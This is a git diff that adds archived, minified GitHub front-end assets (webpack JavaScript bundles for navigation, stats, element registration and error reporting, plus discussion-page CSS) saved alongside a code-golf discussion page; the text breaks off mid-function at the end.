l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-copy",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_assets_modules_github_behaviors_remote-clipboard-copy_ts")]).then(s.bind(s,53287))),t("series-table",()=>s.e("app_assets_modules_github_insights_series-table_ts").then(s.bind(s,82100))),t("line-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_line-chart_ts")]).then(s.bind(s,75689))),t("bar-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_bar-chart_ts")]).then(s.bind(s,83515))),t("column-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_column-chart_ts")]).then(s.bind(s,86564))),t("stacked-area-chart",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("vendors-node_modules_date-fns_esm__lib_assign_index_js-node_modules_date-fns_esm__lib_getTime-5cc5c7"),s.e("vendors-node_modules_github_base-chart-element_dist_base-chart_js"),s.e("app_assets_modules_github_insights_stacked-area-chart_ts")]).then(s.bind(s,96514))),t("presence-avatars",()=>s.e("app_assets_modules_github_presence_presence-avatars_ts").then(s.bind(s,33096))),t("pulse-authors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_pulse-authors-graph-element_ts")]).then(s.bind(s,97724))),t("stacks-input-config-view",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_stacks_stacks-input-config-view_ts")]).then(s.bind(s,97818))),t("community-contributions-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_community-contributions_ts")]).then(s.bind(s,14008))),t("discussion-page-views-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussion-page-views_ts")]).then(s.bind(s,16427))),t("discussions-daily-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-daily-contributors_ts")]).then(s.bind(s,69142))),t("discussions-new-contributors",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_discussions-new-contributors_ts")]).then(s.bind(s,72895))),t("code-frequency-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_graphs_code-frequency-graph-element_ts")]).then(s.bind(s,29728))),t("contributors-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-array_src_descending_js-node_modules_d3-brush_src_index_js-node_modul-a5b158"),s.e("app_assets_modules_github_graphs_contributors-graph-element_ts")]).then(s.bind(s,56194))),t("org-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-array_src_bisector_js-node_modules_d3-selection_src_pointer_js-node_m-1e8834"),s.e("app_assets_modules_github_graphs_org-insights-graph-element_ts")]).then(s.bind(s,79429))),t("traffic-clones-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-clones-graph-element_ts")]).then(s.bind(s,69549))),t("traffic-visitors-graph",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_traffic-visitors-graph-element_ts")]).then(s.bind(s,5932))),t("commit-activity-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("app_assets_modules_github_graphs_commit-activity-graph-element_ts")]).then(s.bind(s,30579))),t("marketplace-insights-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-axis_src_axis_js-node_modules_d3-format_src_defaultLocale_js-node_mod-7a926f"),s.e("app_assets_modules_github_d3_tip_ts-app_assets_modules_github_fetch_ts-app_assets_modules_git-8dea25"),s.e("app_assets_modules_github_graphs_marketplace-insights-graph-element_ts")]).then(s.bind(s,23825))),t("user-sessions-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_settings_user-sessions-map-element_ts")]).then(s.bind(s,75020))),t("reload-after-polling",()=>s.e("app_assets_modules_github_behaviors_reload-after-polling-element_ts").then(s.bind(s,87159))),t("package-dependencies-security-graph",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("app_assets_modules_github_graphs_package-dependencies-security-graph-element_ts")]).then(s.bind(s,69709))),t(".js-sub-dependencies",()=>s.e("app_assets_modules_github_dependencies_ts").then(s.bind(s,42221))),t("network-graph",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9"),s.e("app_assets_modules_github_graphs_network-graph-element_ts")]).then(s.bind(s,11507))),t("business-audit-log-map",()=>Promise.all([s.e("vendors-node_modules_d3-array_src_max_js-node_modules_d3-scale_src_index_js-node_modules_d3-s-eaadf4"),s.e("vendors-node_modules_d3-transition_src_index_js-node_modules_github_catalyst_lib_index_js"),s.e("vendors-node_modules_d3-ease_src_circle_js-node_modules_d3-format_src_defaultLocale_js-node_m-a1674d"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_assets_modules_github_business-audit-log-map-element_ts")]).then(s.bind(s,15529))),t("inline-machine-translation",()=>s.e("app_assets_modules_github_localization_inline-machine-translation-element_ts").then(s.bind(s,96002)))}},l=>{var a=m(d=>l(l.s=d),"__webpack_exec__"),s=a(92333)}]);})(); + +//# sourceMappingURL=element-registry-5c2629948a88.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js new file mode 100644 index 0000000..f34ff2e --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js @@ -0,0 +1,4 @@ +(()=>{var J=Object.defineProperty;var e=(w,t)=>J(w,"name",{value:t,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["environment"],{83721:(w,t,i)=>{"use strict";var a=i(92003);window.addEventListener("error",c=>{c.error&&(0,a.eK)(c.error)}),window.addEventListener("unhandledrejection",async c=>{if(!!c.promise)try{await c.promise}catch(f){(0,a.eK)(f)}}),window.location.hash==="#b00m"&&setTimeout(()=>{throw new Error("b00m")});var v=i(30523),l=i(50232);(0,l.nn)()},47930:(w,t,i)=>{"use strict";i.d(t,{S:()=>c});function a(f){const o=document.querySelectorAll(f);if(o.length>0)return o[o.length-1]}e(a,"queryLast");function v(){const f=a("meta[name=analytics-location]");return f?f.content:window.location.pathname}e(v,"pagePathname");function l(){const f=a("meta[name=analytics-location-query-strip]");let o="";f||(o=window.location.search);const u=a("meta[name=analytics-location-params]");u&&(o+=(o?"&":"?")+u.content);for(const b of document.querySelectorAll("meta[name=analytics-param-rename]")){const d=b.content.split(":",2);o=o.replace(new RegExp(`(^|[?&])${d[0]}($|=)`,"g"),`$1${d[1]}$2`)}return o}e(l,"pageQuery");function c(){return`${window.location.protocol}//${window.location.host}${v()+l()}`}e(c,"requestUri")},7739:(w,t,i)=>{"use strict";i.d(t,{C:()=>v,x:()=>a});const a=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),v=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},92003:(w,t,i)=>{"use strict";i.d(t,{aJ:()=>s,cI:()=>E,eK:()=>S});var a=i(29946),v=i(97474),l=i(82918),c=i(50232),f=i(28382),o=i(47930),u=i(49815);let b=!1,d=0;const y=Date.now();function S(p,_={}){p&&p.name!=="AbortError"&&O(I(T(p),_))}e(S,"reportError");async function O(p){var _,A;if(!L())return;const x=(A=(_=document.head)==null?void 0:_.querySelector('meta[name="browser-errors-url"]'))==null?void 